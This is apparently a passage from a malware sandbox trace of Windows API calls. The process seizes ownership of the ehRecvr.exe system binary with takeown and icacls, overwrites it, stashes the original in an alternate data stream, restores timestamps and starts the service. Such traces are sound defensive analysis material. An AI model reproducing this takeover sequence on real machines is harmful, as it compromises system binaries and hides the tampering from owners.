lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.315] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0028.315] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1898) returned 1 [0028.315] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="RPCSS", cbData=0x6 | out: lpData="RPCSS") returned 0x0 [0028.316] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1898) returned 1 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x0, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x1, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x2, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x3, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x4, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x5, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x6, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x7, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x8, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0x9, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0xa, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0028.316] RegEnumValueA (in: hKey=0x9c, dwIndex=0xb, lpValueName=0x34f2f8, lpcchValueName=0x34f2f4, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x34f2f4, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0028.316] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\ehome\\ehRecvr.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x1e [0028.316] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\ehome\\ehRecvr.exe", lpDst=0x5a1778, nSize=0x1e | out: lpDst="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x1d [0028.317] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0028.317] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a16a0) returned 1 [0028.317] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5a15c8, cbMultiByte=28, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0028.317] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5a15c8, cbMultiByte=28, lpWideCharStr=0x5a2eb0, cchWideChar=28 | out: lpWideCharStr="C:\\Windows\\ehome\\ehRecvr.exe") returned 28 [0028.317] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\ehome\\ehRecvr.exe", pNumArgs=0x34f400 | out: pNumArgs=0x34f400) returned 0x644a58*="C:\\Windows\\ehome\\ehRecvr.exe" [0028.317] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed648 [0028.317] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed478 [0028.317] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.317] LocalFree (hMem=0x644a58) returned 0x0 [0028.317] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2f38) returned 1 [0028.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\ehome\\ehRecvr.exe", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0028.317] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Windows\\ehome\\ehRecvr.exe", cchWideChar=28, lpMultiByteStr=0x5a1778, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\ehome\\ehRecvr.exe", lpUsedDefaultChar=0x0) returned 28 [0028.317] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a16a0 [0028.317] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.317] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed678 [0028.317] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed338 [0028.317] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.317] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a16a0) returned 1 [0028.317] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2eb0) returned 1 [0028.317] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed478) returned 1 [0028.317] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed648) returned 1 [0028.318] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1658) returned 1 [0028.318] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed328) returned 1 [0028.318] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed660) returned 1 [0028.318] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x10) returned 0x3ed660 [0028.318] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x8) returned 0x3ed328 [0028.318] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1658 [0028.318] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.318] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed338) returned 1 [0028.318] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed678) returned 1 [0028.318] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0028.318] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\ehome\\ehRecvr.exe", cbData=0x1d | out: lpData="C:\\Windows\\ehome\\ehRecvr.exe") returned 0x0 [0028.318] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1778) returned 1 [0028.318] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a15c8) returned 1 [0028.318] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ehRecvr", dwDesiredAccess=0x2) returned 0x6638c8 [0028.318] ChangeServiceConfigW (in: hService=0x6638c8, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0028.349] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.349] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1730) returned 1 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed378) returned 1 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed630) returned 1 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1658) returned 1 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed328) returned 1 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ed660) returned 1 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1418) returned 1 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0028.350] RegCloseKey (hKey=0x148) returned 0x0 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2da0) returned 1 [0028.350] RegCloseKey (hKey=0x9c) returned 0x0 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a13d0) returned 1 [0028.350] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1388) returned 1 [0028.350] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x34f468 | out: lpFileInformation=0x34f468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ffa80a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xaa200)) returned 1 [0028.351] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0028.352] GetLastError () returned 0x5 [0028.352] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2da0 [0028.352] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2e28 [0028.352] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2eb0 [0028.352] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x50ae98 [0028.352] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1388 [0028.352] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1388) returned 1 [0028.352] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x50ae98) returned 1 [0028.352] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2f38 [0028.352] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\ehome\\ehRecvr.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x34f450*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x34f440 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\ehome\\ehRecvr.exe", lpProcessInformation=0x34f440*(hProcess=0x148, hThread=0x9c, dwProcessId=0x988, dwThreadId=0x98c)) returned 1 [0028.360] NtClose (Handle=0x9c) returned 0x0 [0028.361] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2f38) returned 1 [0028.361] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x50ae98 [0028.361] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1388 [0028.361] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1388) returned 1 [0028.361] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x50ae98) returned 1 [0028.361] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x5000) returned 0x50ae98 [0028.361] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1388 [0028.361] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a1388) returned 1 [0028.361] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x50ae98) returned 1 [0028.361] WaitForSingleObject (hHandle=0x148, dwMilliseconds=0x2710) returned 0x0 [0029.740] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2f38 [0029.740] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x100) returned 0x594d30 [0029.740] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2f38) returned 1 [0029.740] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\ehome\\ehRecvr.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x34f450*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x34f440 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\ehome\\ehRecvr.exe /reset", lpProcessInformation=0x34f440*(hProcess=0x154, hThread=0x9c, dwProcessId=0x9f0, dwThreadId=0x9f4)) returned 1 [0029.807] NtClose (Handle=0x9c) returned 0x0 [0029.807] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x594d30) returned 1 [0029.807] NtClose (Handle=0x148) returned 0x0 [0029.807] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x2710) returned 0x0 [0030.234] NtClose (Handle=0x154) returned 0x0 [0030.234] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2eb0) returned 1 [0030.234] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2e28) returned 1 [0030.234] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2da0) returned 1 [0030.234] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), fInfoLevelId=0x0, lpFileInformation=0x34f468 | out: lpFileInformation=0x34f468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2fd46aa, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa2fd46aa, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa2ffa80a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xaa200)) returned 1 [0030.234] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0030.234] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x34f4ac, lpLastWriteTime=0x34f4ac) returned 1 [0030.234] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x34f498 | out: lpFileSizeHigh=0x34f498*=0x0) returned 0xaa200 [0030.234] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x34f4a4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x34f4a4*=0) returned 0x0 [0030.234] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xaa200) returned 0x8c0020 [0030.235] ReadFile (in: hFile=0x154, lpBuffer=0x8c0020, nNumberOfBytesToRead=0xaa200, lpNumberOfBytesRead=0x34f4d8, lpOverlapped=0x0 | out: lpBuffer=0x8c0020*, lpNumberOfBytesRead=0x34f4d8*=0xaa200, lpOverlapped=0x0) returned 1 [0030.251] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0xaa200) returned 0x2350020 [0030.257] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x8c0020) returned 1 [0030.260] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x34f4c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x34f4c8*=0) returned 0x0 [0030.260] WriteFile (in: hFile=0x154, lpBuffer=0x54dea0*, nNumberOfBytesToWrite=0x44000, lpNumberOfBytesWritten=0x34f4d8, lpOverlapped=0x0 | out: lpBuffer=0x54dea0*, lpNumberOfBytesWritten=0x34f4d8*=0x44000, lpOverlapped=0x0) returned 1 [0030.262] SetEndOfFile (hFile=0x154) returned 1 [0030.265] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x184) returned 0x5076d0 [0030.265] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1388 [0030.265] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a13d0 [0030.265] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1418 [0030.265] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1658 [0030.265] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1730 [0030.265] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a15c8 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1778 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a16a0 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1580 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1538 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a14f0 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a14a8 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1460 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a17c0 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1808 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x40) returned 0x5a1850 [0030.266] GetFileTime (in: hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x34f4ec | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x34f4ec*(dwLowDateTime=0xa2ffa80a, dwHighDateTime=0x1cb892b)) returned 1 [0030.266] FileTimeToSystemTime (in: lpFileTime=0x34f4ec, lpSystemTime=0x34f518 | out: lpSystemTime=0x34f518) returned 1 [0030.266] SystemTimeToFileTime (in: lpSystemTime=0x34f518, lpFileTime=0x34f4ec | out: lpFileTime=0x34f4ec) returned 1 [0030.266] RtlAllocateHeap (HeapHandle=0x3e0000, Flags=0x8, Size=0x80) returned 0x5a2da0 [0030.266] NtClose (Handle=0x154) returned 0x0 [0030.269] GetFileAttributesExW (in: lpFileName="C:\\Windows\\ehome\\ehRecvr.exe:0" (normalized: "c:\\windows\\ehome\\ehrecvr.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x34f468 | out: lpFileInformation=0x34f468*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x248cc, ftCreationTime.dwHighDateTime=0x34f4a4, ftLastAccessTime.dwLowDateTime=0x77190a45, ftLastAccessTime.dwHighDateTime=0x97a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x34f540)) returned 0 [0030.269] GetLastError () returned 0x2 [0030.269] CreateFileW (lpFileName="C:\\Windows\\ehome\\ehRecvr.exe:0" (normalized: "c:\\windows\\ehome\\ehrecvr.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0030.270] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x34f4ac, lpLastWriteTime=0x34f4ac) returned 1 [0030.270] WriteFile (in: hFile=0x154, lpBuffer=0x2350020*, nNumberOfBytesToWrite=0xaa200, lpNumberOfBytesWritten=0x34f4d8, lpOverlapped=0x0 | out: lpBuffer=0x2350020*, lpNumberOfBytesWritten=0x34f4d8*=0xaa200, lpOverlapped=0x0) returned 1 [0030.317] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5a2da0) returned 1 [0030.317] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x34f4ec) returned 1 [0030.318] NtClose (Handle=0x154) returned 0x0 [0030.324] OpenServiceW (hSCManager=0x6637d8, lpServiceName="ehRecvr", dwDesiredAccess=0x10) returned 0x6638a0 [0030.325] StartServiceW (hService=0x6638a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0035.485] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0035.487] WaitForSingleObject (hHandle=0x110, dwMilliseconds=0x1388) returned 0x0 [0036.428] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x2350020) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eeae8) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eea60) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee9d8) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ee8c8) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509600) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eed08) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eec80) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eeb70) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eebf8) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509690) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eef28) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eeea0) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eee18) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eed90) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5096d8) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef148) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef0c0) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3eefb0) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x549ea0) returned 1 [0036.433] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509720) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef2e0) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef258) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef1d0) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef038) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x509768) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef500) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef478) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef3f0) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef368) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x5097b0) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef720) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, Flags=0x0, BaseAddress=0x3ef698) returned 1 [0036.434] RtlFreeHeap (HeapHandle=0x3e0000, 